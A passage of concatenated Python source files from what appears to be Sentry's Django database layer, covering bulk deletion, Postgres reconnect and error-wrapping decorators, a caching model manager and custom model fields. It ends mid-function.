:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import


class QueryError(Exception):
    pass


class CannotResolveExpression(Exception):
    pass






from __future__ import absolute_import

from datetime import timedelta
from django.db import connections, router
from django.utils import timezone

from sentry.utils import db


class BulkDeleteQuery(object):
    def __init__(self, model, project_id=None, dtfield=None, days=None):
        self.model = model
        self.project_id = int(project_id) if project_id else None
        self.dtfield = dtfield
        self.days = int(days) if days is not None else None
        self.using = router.db_for_write(model)

    def execute_postgres(self, chunk_size=10000):
        quote_name = connections[self.using].ops.quote_name

        where = []
        if self.dtfield and self.days is not None:
            where.append("{} < now() - interval '{} days'".format(
                quote_name(self.dtfield),
                self.days,
            ))
        if self.project_id:
            where.append("project_id = {}".format(self.project_id))

        if where:
            where_clause = 'where {}'.format(' and '.join(where))
        else:
            where_clause = ''

        query = """
            delete from {table}
            where id = any(array(
                select id
                from {table}
                {where}
                limit {chunk_size}
            ));
        """.format(
            table=self.model._meta.db_table,
            chunk_size=chunk_size,
            where=where_clause,
        )

        return self._continuous_query(query)

    def _continuous_query(self, query):
        results = True
        cursor = connections[self.using].cursor()
        while results:
            cursor.execute(query)
            results = cursor.rowcount > 0

    def execute_generic(self, chunk_size=100):
        qs = self.model.objects.all()

        if self.days:
            cutoff = timezone.now() - timedelta(days=self.days)
            qs = qs.filter(
                **{'{}__lte'.format(self.dtfield): cutoff}
            )
        if self.project_id:
            if 'project' in self.model._meta.get_all_field_names():
                qs = qs.filter(project=self.project_id)
            else:
                qs = qs.filter(project_id=self.project_id)

        # XXX: we step through because the deletion collector will pull all
        # relations into memory
        exists = True
        while exists:
            exists = False
            for item in qs[:chunk_size].iterator():
                item.delete()
                exists = True

    def execute(self, chunk_size=10000):
        if db.is_postgres():
            self.execute_postgres(chunk_size)
        else:
            self.execute_generic(chunk_size)






"""
sentry.db
~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import






from __future__ import absolute_import

import psycopg2
import six
import traceback

from sentry.utils.compat import implements_to_string


class CompositeTraceback(object):
    def __init__(self, tb_list):
        assert isinstance(tb_list, (list, tuple))
        self.__tb_list = tb_list
        self.__iterator = iter(self)

    def __iter__(self):
        for tb in self.__tb_list:
            while tb:
                self.__curframe = tb
                tb = tb.tb_next
                yield tb

    def tb_frame(self):
        return self.__curframe.tb_frame

    def tb_lasti(self):
        return self.__curframe.tb_lasti

    def tb_lineno(self):
        return self.__curframe.tb_lineno

    def tb_next(self):
        six.next(self.__iterator)
        return self


@implements_to_string
class TransactionAborted(psycopg2.DatabaseError):
    def __init__(self, exc_info, cur_exc_info):
        self.exc_info = exc_info
        self.cur_exc_info = cur_exc_info

    def __repr__(self):
        return '\n'.join(traceback.format_exception(self.__class__, self, self.get_traceback()))

    def __str__(self):
        return u'(%s) %s' % (self.cur_exc_info[0].__name__, self.cur_exc_info[1])

    def get_traceback(self):
        return CompositeTraceback([self.exc_info[2], self.cur_exc_info[2]])






from __future__ import absolute_import

import six
import sys

from functools import wraps

from .exceptions import TransactionAborted
from .helpers import can_reconnect


def auto_reconnect_cursor(func):
    """
    Attempt to safely reconnect when an error is hit that resembles the
    bouncer disconnecting the client due to a timeout/etc during a cursor
    execution.
    """
    @wraps(func)
    def inner(self, *args, **kwargs):
        try:
            return func(self, *args, **kwargs)
        except Exception as e:
            if not can_reconnect(e):
                raise

            self.db.close(reconnect=True)
            self.cursor = self.db._cursor()

            return func(self, *args, **kwargs)

    return inner


def auto_reconnect_connection(func):
    """
    Attempt to safely reconnect when an error is hit that resembles the
    bouncer disconnecting the client due to a timeout/etc.
    """
    @wraps(func)
    def inner(self, *args, **kwargs):
        try:
            return func(self, *args, **kwargs)
        except Exception as e:
            if not can_reconnect(e):
                raise

            self.close(reconnect=True)

            return func(self, *args, **kwargs)

    return inner


def capture_transaction_exceptions(func):
    """
    Catches database errors and reraises them on subsequent errors that throw
    some cruft about transaction aborted.
    """
    def raise_the_exception(conn, exc):
        if 'current transaction is aborted, commands ignored until end of transaction block' in six.text_type(exc):
            exc_info = getattr(conn, '_last_exception', None)
            if exc_info is None:
                raise
            new_exc = TransactionAborted(sys.exc_info(), exc_info)
            six.reraise(new_exc.__class__, new_exc, exc_info[2])

        conn._last_exception = sys.exc_info()
        raise

    @wraps(func)
    def inner(self, *args, **kwargs):
        try:
            return func(self, *args, **kwargs)
        except Exception as e:
            raise_the_exception(self.db, e)

    return inner


def less_shitty_error_messages(func):
    """
    Wraps functions where the first param is a SQL statement and enforces
    any exceptions thrown will also contain the statement in the message.
    """
    @wraps(func)
    def inner(self, sql, *args, **kwargs):
        try:
            return func(self, sql, *args, **kwargs)
        except Exception as e:
            exc_info = sys.exc_info()
            msg = '{}\nSQL: {}'.format(
                repr(e),
                sql,
            )
            six.reraise(exc_info[0], exc_info[0](msg), exc_info[2])
    return inner






from __future__ import absolute_import

from django.db.backends.postgresql_psycopg2.base import DatabaseOperations


class DatabaseOperations(DatabaseOperations):
    # Remove HOST() lookups for GenericIPAddressField
    def field_cast_sql(self, db_type, internal_type):
        return '%s'






from __future__ import absolute_import

import psycopg2 as Database

# Some of these imports are unused, but they are inherited from other engines
# and should be available as part of the backend ``base.py`` namespace.
from django.db.backends.postgresql_psycopg2.base import DatabaseWrapper

from .decorators import (
    capture_transaction_exceptions, auto_reconnect_cursor,
    auto_reconnect_connection, less_shitty_error_messages
)
from .operations import DatabaseOperations

__all__ = ('DatabaseWrapper',)


class CursorWrapper(object):
    """
    A wrapper around the postgresql_psycopg2 backend which handles various events
    from cursors, such as auto reconnects and lazy time zone evaluation.
    """

    def __init__(self, db, cursor):
        self.db = db
        self.cursor = cursor

    def __getattr__(self, attr):
        return getattr(self.cursor, attr)

    def __iter__(self):
        return iter(self.cursor)

    @capture_transaction_exceptions
    @auto_reconnect_cursor
    @less_shitty_error_messages
    def execute(self, sql, params=None):
        if params is not None:
            return self.cursor.execute(sql, params)
        return self.cursor.execute(sql)

    @capture_transaction_exceptions
    @auto_reconnect_cursor
    @less_shitty_error_messages
    def executemany(self, sql, paramlist=()):
        return self.cursor.executemany(sql, paramlist)


class DatabaseWrapper(DatabaseWrapper):
    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)
        self.ops = DatabaseOperations(self)

    @auto_reconnect_connection
    def _set_isolation_level(self, level):
        return super(DatabaseWrapper, self)._set_isolation_level(level)

    @auto_reconnect_connection
    def _cursor(self, *args, **kwargs):
        cursor = super(DatabaseWrapper, self)._cursor()
        return CursorWrapper(self, cursor)

    def close(self, reconnect=False):
        """
        This ensures we dont error if the connection has already been closed.
        """
        if self.connection is not None:
            if not self.connection.closed:
                try:
                    self.connection.close()
                except Database.InterfaceError:
                    # connection was already closed by something
                    # like pgbouncer idle timeout.
                    pass
            self.connection = None






from __future__ import absolute_import






from __future__ import absolute_import

import psycopg2
import six

from django.db.utils import DatabaseError


def can_reconnect(exc):
    if isinstance(exc, psycopg2.InterfaceError):
        return True
    # elif isinstance(exc, psycopg2.OperationalError):
    #     exc_msg = six.text_type(exc)
    #     if "can't fetch default_isolation_level" in exc_msg:
    #         return True
    #     elif "can't set datestyle to ISO" in exc_msg:
    #         return True
    #     return True
    elif isinstance(exc, DatabaseError):
        exc_msg = six.text_type(exc)
        if 'server closed the connection unexpectedly' in exc_msg:
            return True
        elif 'client_idle_timeout' in exc_msg:
            return True
    return False






"""
sentry.db.models
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging
import six

from django.db import models
from django.db.models import signals

from .fields.bounded import BoundedBigAutoField
from .manager import BaseManager
from .query import update

__all__ = ('BaseModel', 'Model', 'sane_repr')

UNSAVED = object()


def sane_repr(*attrs):
    if 'id' not in attrs and 'pk' not in attrs:
        attrs = ('id',) + attrs

    def _repr(self):
        cls = type(self).__name__

        pairs = (
            '%s=%s' % (a, repr(getattr(self, a, None)))
            for a in attrs)

        return u'<%s at 0x%x: %s>' % (cls, id(self), ', '.join(pairs))

    return _repr


class BaseModel(models.Model):
    class Meta:
        abstract = True

    objects = BaseManager()

    update = update

    def __init__(self, *args, **kwargs):
        super(BaseModel, self).__init__(*args, **kwargs)
        self._update_tracked_data()

    def __getstate__(self):
        d = self.__dict__.copy()
        # we cant serialize weakrefs
        d.pop('_Model__data', None)
        return d

    def __reduce__(self):
        (model_unpickle, stuff, _) = super(BaseModel, self).__reduce__()
        return (model_unpickle, stuff, self.__getstate__())

    def __setstate__(self, state):
        self.__dict__.update(state)
        self._update_tracked_data()

    def __get_field_value(self, field):
        if isinstance(field, models.ForeignKey):
            return getattr(self, field.column, None)
        return getattr(self, field.name, None)

    def _update_tracked_data(self):
        "Updates a local copy of attributes values"
        if self.id:
            data = {}
            for f in self._meta.fields:
                try:
                    data[f.column] = self.__get_field_value(f)
                except AttributeError as e:
                    # this case can come up from pickling
                    logging.exception(six.text_type(e))
            self.__data = data
        else:
            self.__data = UNSAVED

    def has_changed(self, field_name):
        "Returns ``True`` if ``field`` has changed since initialization."
        if self.__data is UNSAVED:
            return False
        field = self._meta.get_field(field_name)
        return self.__data.get(field_name) != self.__get_field_value(field)

    def old_value(self, field_name):
        "Returns the previous value of ``field``"
        if self.__data is UNSAVED:
            return None
        return self.__data.get(field_name)


class Model(BaseModel):
    id = BoundedBigAutoField(primary_key=True)

    class Meta:
        abstract = True

    __repr__ = sane_repr('id')


def __model_post_save(instance, **kwargs):
    if not isinstance(instance, BaseModel):
        return
    instance._update_tracked_data()


def __model_class_prepared(sender, **kwargs):
    if not issubclass(sender, BaseModel):
        return

    if not hasattr(sender, '__core__'):
        raise ValueError('{!r} model has not defined __core__'.format(sender))


signals.post_save.connect(__model_post_save)
signals.class_prepared.connect(__model_class_prepared)






"""
sentry.db.models.query
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import itertools
import six

from django.db import IntegrityError, router, transaction
from django.db.models import Model
from django.db.models.expressions import ExpressionNode
from django.db.models.signals import post_save

from .utils import resolve_expression_node

__all__ = ('update', 'create_or_update')


def update(self, using=None, **kwargs):
    """
    Updates specified attributes on the current instance.
    """
    assert self.pk, "Cannot update an instance that has not yet been created."

    using = using or router.db_for_write(self.__class__, instance=self)

    for field in self._meta.fields:
        if getattr(field, 'auto_now', False) and field.name not in kwargs:
            kwargs[field.name] = field.pre_save(self, False)

    affected = self.__class__._base_manager.using(using).filter(pk=self.pk).update(**kwargs)
    for k, v in six.iteritems(kwargs):
        if isinstance(v, ExpressionNode):
            v = resolve_expression_node(self, v)
        setattr(self, k, v)
    if affected == 1:
        post_save.send(sender=self.__class__, instance=self, created=False)
        return affected
    elif affected == 0:
        return affected
    elif affected < 0:
        raise ValueError("Somehow we have updated a negative amount of rows, you seem to have a problem with your db backend.")
    else:
        raise ValueError("Somehow we have updated multiple rows, and you are now royally fucked.")

update.alters_data = True


def create_or_update(model, using=None, **kwargs):
    """
    Similar to get_or_create, either updates a row or creates it.
    only values args are used for update
    both default and values are used for create

    The result will be (rows affected, False), if the row was not created,
    or (instance, True) if the object is new.

    >>> create_or_update(MyModel, key='value', values={
    >>>     'value': F('value') + 1,
    >>> }, defaults={'created_at': timezone.now()})
    """
    values = kwargs.pop('values', {})
    defaults = kwargs.pop('defaults', {})

    if not using:
        using = router.db_for_write(model)

    objects = model.objects.using(using)

    affected = objects.filter(**kwargs).update(**values)
    if affected:
        return affected, False

    create_kwargs = kwargs.copy()
    inst = objects.model()
    for k, v in itertools.chain(six.iteritems(values), six.iteritems(defaults)):
        # XXX(dcramer): we want to support column shortcut on create so
        # we can do create_or_update(..., {'project': 1})
        if not isinstance(v, Model):
            k = model._meta.get_field(k).attname
        if isinstance(v, ExpressionNode):
            create_kwargs[k] = resolve_expression_node(inst, v)
        else:
            create_kwargs[k] = v

    try:
        with transaction.atomic(using=using):
            return objects.create(**create_kwargs), True
    except IntegrityError:
        affected = objects.filter(**kwargs).update(**values)

    return affected, False






"""
sentry.db.models
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from .base import *  # NOQA
from .fields import *  # NOQA
from .manager import *  # NOQA
from .query import *  # NOQA






"""
sentry.db.models.manager
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import logging
import six
import threading
import weakref

from django.conf import settings
from django.db import router
from django.db.models import Manager, Model
from django.db.models.signals import (
    post_save, post_delete, post_init, class_prepared)
from django.utils.encoding import smart_text

from sentry.utils.cache import cache
from sentry.utils.hashlib import md5_text

from .query import create_or_update

__all__ = ('BaseManager',)

logger = logging.getLogger('sentry')


class ImmutableDict(dict):
    def __setitem__(self, key, value):
        raise TypeError

    def __delitem__(self, key):
        raise TypeError

UNSAVED = ImmutableDict()


def __prep_value(model, key, value):
    if isinstance(value, Model):
        value = value.pk
    else:
        value = six.text_type(value)
    return value


def __prep_key(model, key):
    if key == 'pk':
        return model._meta.pk.name
    return key


def make_key(model, prefix, kwargs):
    kwargs_bits = []
    for k, v in sorted(six.iteritems(kwargs)):
        k = __prep_key(model, k)
        v = smart_text(__prep_value(model, k, v))
        kwargs_bits.append('%s=%s' % (k, v))
    kwargs_bits = ':'.join(kwargs_bits)

    return '%s:%s:%s' % (
        prefix,
        model.__name__,
        md5_text(kwargs_bits).hexdigest()
    )


class BaseManager(Manager):
    lookup_handlers = {
        'iexact': lambda x: x.upper(),
    }
    use_for_related_fields = True

    def __init__(self, *args, **kwargs):
        self.cache_fields = kwargs.pop('cache_fields', [])
        self.cache_ttl = kwargs.pop('cache_ttl', 60 * 5)
        self.cache_version = kwargs.pop('cache_version', None)
        self.__local_cache = threading.local()
        super(BaseManager, self).__init__(*args, **kwargs)

    def _get_cache(self):
        if not hasattr(self.__local_cache, 'value'):
            self.__local_cache.value = weakref.WeakKeyDictionary()
        return self.__local_cache.value

    def _set_cache(self, value):
        self.__local_cache.value = value

    def _generate_cache_version(self):
        return md5_text(
            '&'.join(sorted(f.attname for f in self.model._meta.fields))
        ).hexdigest()[:3]

    __cache = property(_get_cache, _set_cache)

    def __getstate__(self):
        d = self.__dict__.copy()
        # we cant serialize weakrefs
        d.pop('_BaseManager__cache', None)
        d.pop('_BaseManager__local_cache', None)
        return d

    def __setstate__(self, state):
        self.__dict__.update(state)
        self.__local_cache = weakref.WeakKeyDictionary()

    def __class_prepared(self, sender, **kwargs):
        """
        Given the cache is configured, connects the required signals for invalidation.
        """
        post_save.connect(self.post_save, sender=sender, weak=False)
        post_delete.connect(self.post_delete, sender=sender, weak=False)

        if not self.cache_fields:
            return

        if not self.cache_version:
            self.cache_version = self._generate_cache_version()

        post_init.connect(self.__post_init, sender=sender, weak=False)
        post_save.connect(self.__post_save, sender=sender, weak=False)
        post_delete.connect(self.__post_delete, sender=sender, weak=False)

    def __cache_state(self, instance):
        """
        Updates the tracked state of an instance.
        """
        if instance.pk:
            self.__cache[instance] = {
                f: self.__value_for_field(instance, f)
                for f in self.cache_fields
            }
        else:
            self.__cache[instance] = UNSAVED

    def __post_init(self, instance, **kwargs):
        """
        Stores the initial state of an instance.
        """
        self.__cache_state(instance)

    def __post_save(self, instance, **kwargs):
        """
        Pushes changes to an instance into the cache, and removes invalid (changed)
        lookup values.
        """
        pk_name = instance._meta.pk.name
        pk_names = ('pk', pk_name)
        pk_val = instance.pk
        for key in self.cache_fields:
            if key in pk_names:
                continue
            # store pointers
            value = self.__value_for_field(instance, key)
            cache.set(
                key=self.__get_lookup_cache_key(**{key: value}),
                value=pk_val,
                timeout=self.cache_ttl,
                version=self.cache_version,
            )

        # Ensure we don't serialize the database into the cache
        db = instance._state.db
        instance._state.db = None
        # store actual object
        try:
            cache.set(
                key=self.__get_lookup_cache_key(**{pk_name: pk_val}),
                value=instance,
                timeout=self.cache_ttl,
                version=self.cache_version,
            )
        except Exception as e:
            logger.error(e, exc_info=True)
        instance._state.db = db

        # Kill off any keys which are no longer valid
        if instance in self.__cache:
            for key in self.cache_fields:
                if key not in self.__cache[instance]:
                    continue
                value = self.__cache[instance][key]
                current_value = self.__value_for_field(instance, key)
                if value != current_value:
                    cache.delete(
                        key=self.__get_lookup_cache_key(**{key: value}),
                        version=self.cache_version,
                    )

        self.__cache_state(instance)

    def __post_delete(self, instance, **kwargs):
        """
        Drops instance from all cache storages.
        """
        pk_name = instance._meta.pk.name
        for key in self.cache_fields:
            if key in ('pk', pk_name):
                continue
            # remove pointers
            value = self.__value_for_field(instance, key)
            cache.delete(
                key=self.__get_lookup_cache_key(**{key: value}),
                version=self.cache_version,
            )
        # remove actual object
        cache.delete(
            key=self.__get_lookup_cache_key(**{pk_name: instance.pk}),
            version=self.cache_version,
        )

    def __get_lookup_cache_key(self, **kwargs):
        return make_key(self.model, 'modelcache', kwargs)

    def __value_for_field(self, instance, key):
        """
        Return the cacheable value for a field.

        ForeignKey's will cache via the primary key rather than using an
        instance ref. This is needed due to the way lifecycle of models works
        as otherwise we end up doing wasteful queries.
        """
        if key == 'pk':
            return instance.pk
        field = instance._meta.get_field(key)
        return getattr(instance, field.attname)

    def contribute_to_class(self, model, name):
        super(BaseManager, self).contribute_to_class(model, name)
        class_prepared.connect(self.__class_prepared, sender=model)

    def get_from_cache(self, **kwargs):
        """
        Wrapper around QuerySet.get which supports caching of the
        intermediate value.  Callee is responsible for making sure
        the cache key is cleared on save.
        """
        if not self.cache_fields or len(kwargs) > 1:
            return self.get(**kwargs)

        key, value = next(six.iteritems(kwargs))
        pk_name = self.model._meta.pk.name
        if key == 'pk':
            key = pk_name

        # We store everything by key references (vs instances)
        if isinstance(value, Model):
            value = value.pk

        # Kill __exact since it's the default behavior
        if key.endswith('__exact'):
            key = key.split('__exact', 1)[0]

        if key in self.cache_fields or key == pk_name:
            cache_key = self.__get_lookup_cache_key(**{key: value})

            retval = cache.get(cache_key, version=self.cache_version)
            if retval is None:
                result = self.get(**kwargs)
                # Ensure we're pushing it into the cache
                self.__post_save(instance=result)
                return result

            # If we didn't look up by pk we need to hit the reffed
            # key
            if key != pk_name:
                return self.get_from_cache(**{pk_name: retval})

            if type(retval) != self.model:
                if settings.DEBUG:
                    raise ValueError('Unexpected value type returned from cache')
                logger.error('Cache response returned invalid value %r', retval)
                return self.get(**kwargs)

            if key == pk_name and int(value) != retval.pk:
                if settings.DEBUG:
                    raise ValueError('Unexpected value returned from cache')
                logger.error('Cache response returned invalid value %r', retval)
                return self.get(**kwargs)

            retval._state.db = router.db_for_read(self.model, **kwargs)

            return retval
        else:
            return self.get(**kwargs)

    def create_or_update(self, **kwargs):
        return create_or_update(self.model, **kwargs)

    def bind_nodes(self, object_list, *node_names):
        from sentry.app import nodestore

        object_node_list = []
        for name in node_names:
            object_node_list.extend((
                (i, getattr(i, name))
                for i in object_list
                if getattr(i, name).id
            ))

        node_ids = [n.id for _, n in object_node_list]
        if not node_ids:
            return

        node_results = nodestore.get_multi(node_ids)

        for item, node in object_node_list:
            data = node_results.get(node.id) or {}
            node.bind_data(data, ref=node.get_ref(item))

    def uncache_object(self, instance_id):
        pk_name = self.model._meta.pk.name
        cache_key = self.__get_lookup_cache_key(**{pk_name: instance_id})
        cache.delete(cache_key, version=self.cache_version)

    def post_save(self, instance, **kwargs):
        """
        Triggered when a model bound to this manager is saved.
        """

    def post_delete(self, instance, **kwargs):
        """
        Triggered when a model bound to this manager is deleted.
        """






"""
sentry.db.utils
~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import operator

from uuid import uuid4

from django.db.models import F
from django.db.models.expressions import ExpressionNode
from django.utils.crypto import get_random_string
from django.template.defaultfilters import slugify

from sentry.db.exceptions import CannotResolveExpression


EXPRESSION_NODE_CALLBACKS = {
    ExpressionNode.ADD: operator.add,
    ExpressionNode.SUB: operator.sub,
    ExpressionNode.MUL: operator.mul,
    ExpressionNode.DIV: getattr(operator, 'floordiv', None) or operator.div,
    ExpressionNode.MOD: operator.mod,
}
try:
    EXPRESSION_NODE_CALLBACKS[ExpressionNode.AND] = operator.and_
except AttributeError:
    EXPRESSION_NODE_CALLBACKS[ExpressionNode.BITAND] = operator.and_
try:
    EXPRESSION_NODE_CALLBACKS[ExpressionNode.OR] = operator.or_
except AttributeError:
    EXPRESSION_NODE_CALLBACKS[ExpressionNode.BITOR] = operator.or_


def resolve_expression_node(instance, node):
    def _resolve(instance, node):
        if isinstance(node, F):
            return getattr(instance, node.name)
        elif isinstance(node, ExpressionNode):
            return resolve_expression_node(instance, node)
        return node

    op = EXPRESSION_NODE_CALLBACKS.get(node.connector, None)
    if not op:
        raise CannotResolveExpression
    runner = _resolve(instance, node.children[0])
    for n in node.children[1:]:
        runner = op(runner, _resolve(instance, n))
    return runner


def slugify_instance(inst, label, reserved=(), max_length=30, *args, **kwargs):
    base_slug = slugify(label)[:max_length]

    if base_slug is not None:
        base_slug = base_slug.strip()
        if base_slug in reserved:
            base_slug = None

    if not base_slug:
        base_slug = uuid4().hex[:12]

    base_qs = type(inst).objects.all()
    if inst.id:
        base_qs = base_qs.exclude(id=inst.id)
    if args or kwargs:
        base_qs = base_qs.filter(*args, **kwargs)

    inst.slug = base_slug

    # We don't need to further mutate if we're unique at this point
    if not base_qs.filter(slug__iexact=inst.slug).exists():
        return

    # We want to sanely generate the shortest unique slug possible, so
    # we try different length endings until we get one that works, or bail.

    # At most, we have 27 attempts here to derive a unique slug
    sizes = (
        (1, 2),  # (36^2) possibilities, 2 attempts
        (5, 3),  # (36^3) possibilities, 3 attempts
        (20, 5),  # (36^5) possibilities, 20 attempts
        (1, 12),  # (36^12) possibilities, 1 final attempt
    )
    for attempts, size in sizes:
        for i in range(attempts):
            end = get_random_string(size, allowed_chars='abcdefghijklmnopqrstuvwxyz0123456790')
            inst.slug = base_slug[:max_length - size - 1] + '-' + end
            if not base_qs.filter(slug__iexact=inst.slug).exists():
                return

    # If at this point, we've exhausted all possibilities, we'll just end up hitting
    # an IntegrityError from database, which is ok, and unlikely to happen






"""
sentry.db.models.fields.foreignkey
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.db.models import ForeignKey
from south.modelsinspector import add_introspection_rules

__all__ = ('FlexibleForeignKey',)


class FlexibleForeignKey(ForeignKey):
    def db_type(self, connection):
        # This is required to support BigAutoField (or anything similar)
        rel_field = self.related_field
        if hasattr(rel_field, 'get_related_db_type'):
            return rel_field.get_related_db_type(connection)
        return super(FlexibleForeignKey, self).db_type(connection)


add_introspection_rules([], [
    "^sentry\.db\.models\.fields\.FlexibleForeignKey",
    "^sentry\.db\.models\.fields\.foreignkey\.FlexibleForeignKey",
])






"""
sentry.db.models.fields.gzippeddict
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import logging
import six

from django.db import models
from south.modelsinspector import add_introspection_rules

from sentry.utils.compat import pickle
from sentry.utils.strings import decompress, compress

__all__ = ('GzippedDictField',)

logger = logging.getLogger('sentry')


@six.add_metaclass(models.SubfieldBase)
class GzippedDictField(models.TextField):
    """
    Slightly different from a JSONField in the sense that the default
    value is a dictionary.
    """
    def to_python(self, value):
        if isinstance(value, six.string_types) and value:
            try:
                value = pickle.loads(decompress(value))
            except Exception as e:
                logger.exception(e)
                return {}
        elif not value:
            return {}
        return value

    def get_prep_value(self, value):
        if not value and self.null:
            # save ourselves some storage
            return None
        # enforce six.text_type strings to guarantee consistency
        if isinstance(value, six.binary_type):
            value = six.text_type(value)
        # db values need to be in unicode
        return compress(pickle.dumps(value))

    def value_to_string(self, obj):
        value = self._get_val_from_obj(obj)
        return self.get_prep_value(value)


add_introspection_rules([], ["^sentry\.db\.models\.fields\.gzippeddict\.GzippedDictField"])






from __future__ import absolute_import

import six

from picklefield.fields import PickledObjectField


class UnicodePickledObjectField(PickledObjectField):
    def get_db_prep_value(self, value, *args, **kwargs):
        if isinstance(value, six.binary_type):
            value = value.decode('utf-8')
        return super(UnicodePickledObjectField, self).get_db_prep_value(
            value, *args, **kwargs)






"""
sentry.db.models.fields
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from .bounded import *  # NOQA
from .foreignkey import *  # NOQA
from .gzippeddict import *  # NOQA
from .node import *  # NOQA
from .pickle import *  # NOQA






"""
sentry.db.models.fields.bounded
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.conf import settings
from django.db import models
from django.utils.translation import ugettext_lazy as _
from south.modelsinspector import add_introspection_rules

__all__ = (
    'BoundedAutoField', 'BoundedBigAutoField', 'BoundedIntegerField',
    'BoundedBigIntegerField', 'BoundedPositiveIntegerField'
)


class BoundedIntegerField(models.IntegerField):
    MAX_VALUE = 2147483647

    def get_prep_value(self, value):
        if value:
            value = int(value)
            assert value <= self.MAX_VALUE
        return super(BoundedIntegerField, self).get_prep_value(value)


class BoundedPositiveIntegerField(models.PositiveIntegerField):
    MAX_VALUE = 2147483647

    def get_prep_value(self, value):
        if value:
            value = int(value)
            assert value <= self.MAX_VALUE
        return super(BoundedPositiveIntegerField, self).get_prep_value(value)


class BoundedAutoField(models.AutoField):
    MAX_VALUE = 2147483647

    def get_prep_value(self, value):
        if value:
            value = int(value)
            assert value <= self.MAX_VALUE
        return super(BoundedAutoField, self).get_prep_value(value)


if settings.SENTRY_USE_BIG_INTS:
    class BoundedBigIntegerField(models.BigIntegerField):
        description = _("Big Integer")

        MAX_VALUE = 9223372036854775807

        def get_internal_type(self):
            return "BigIntegerField"

        def get_prep_value(self, value):
            if value:
                value = int(value)
                assert value <= self.MAX_VALUE
            return super(BoundedBigIntegerField, self).get_prep_value(value)

    class BoundedBigAutoField(models.AutoField):
        description = _("Big Integer")

        MAX_VALUE = 9223372036854775807

        def db_type(self, connection):
            engine = connection.settings_dict['ENGINE']
            if 'mysql' in engine:
                return "bigint AUTO_INCREMENT"
            elif 'oracle' in engine:
                return "NUMBER(19)"
            elif 'postgres' in engine:
                return "bigserial"
            # SQLite doesnt actually support bigints with auto incr
            elif 'sqlite' in engine:
                return 'integer'
            else:
                raise NotImplemented

        def get_related_db_type(self, connection):
            return BoundedBigIntegerField().db_type(connection)

        def get_internal_type(self):
            return "BigIntegerField"

        def get_prep_value(self, value):
            if value:
                value = int(value)
                assert value <= self.MAX_VALUE
            return super(BoundedBigAutoField, self).get_prep_value(value)

else:
    # we want full on classes for these
    class BoundedBigIntegerField(BoundedIntegerField):
        pass

    class BoundedBigAutoField(BoundedAutoField):
        pass


add_introspection_rules([], ["^sentry\.db\.models\.fields\.bounded\.BoundedAutoField"])
add_introspection_rules([], ["^sentry\.db\.models\.fields\.bounded\.BoundedBigAutoField"])
add_introspection_rules([], ["^sentry\.db\.models\.fields\.bounded\.BoundedIntegerField"])
add_introspection_rules([], ["^sentry\.db\.models\.fields\.bounded\.BoundedBigIntegerField"])
add_introspection_rules([], ["^sentry\.db\.models\.fields\.bounded\.BoundedPositiveIntegerField"])
add_introspection_rules([], ["^sentry\.db\.models\.fields\.pickle\.UnicodePickledObjectField"])






"""
sentry.db.models.fields.node
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import collections
import logging
import six
import warnings

from django.conf import settings
from django.db import models
from django.db.models.signals import post_delete
from south.modelsinspector import add_introspection_rules

from sentry.utils.cache import memoize
from sentry.utils.compat import pickle
from sentry.utils.strings import decompress, compress

from .gzippeddict import GzippedDictField

__all__ = ('NodeField',)

logger = logging.getLogger('sentry')


class NodeUnpopulated(Exception):
    pass


class NodeIntegrityFailure(Exception):
    pass


class NodeData(collections.MutableMapping):
    def __init__(self, field, id, data=None):
        self.field = field
        self.id = id
        self.ref = None
        # ref version is used to discredit a previous ref
        # (this does not mean the Event is mutable, it just removes ref checking
        #  in the case of something changing on the data model)
        self.ref_version = None
        self._node_data = data

    def __getitem__(self, key):
        return self.data[key]

    def __setitem__(self, key, value):
        self.data[key] = value

    def __delitem__(self, key):
        del self.data[key]

    def __iter__(self):
        return iter(self.data)

    def __len__(self):
        return len(self.data)

    def __repr__(self):
        cls_name = type(self).__name__
        if self._node_data:
            return '<%s: id=%s data=%r>' % (
                cls_name, self.id, repr(self._node_data))
        return '<%s: id=%s>' % (cls_name, self.id,)

    def get_ref(self, instance):
        ref_func = self.field.ref_func
        if not ref_func:
            return
        return ref_func(instance)

    @memoize
    def data(self):
        from sentry.app import nodestore

        if self._node_data is not None:
            return self._node_data

        elif self.id:
            if settings.DEBUG:
                raise NodeUnpopulated('You should populate node data before accessing it.')
            else:
                warnings.warn('You should populate node data before accessing it.')
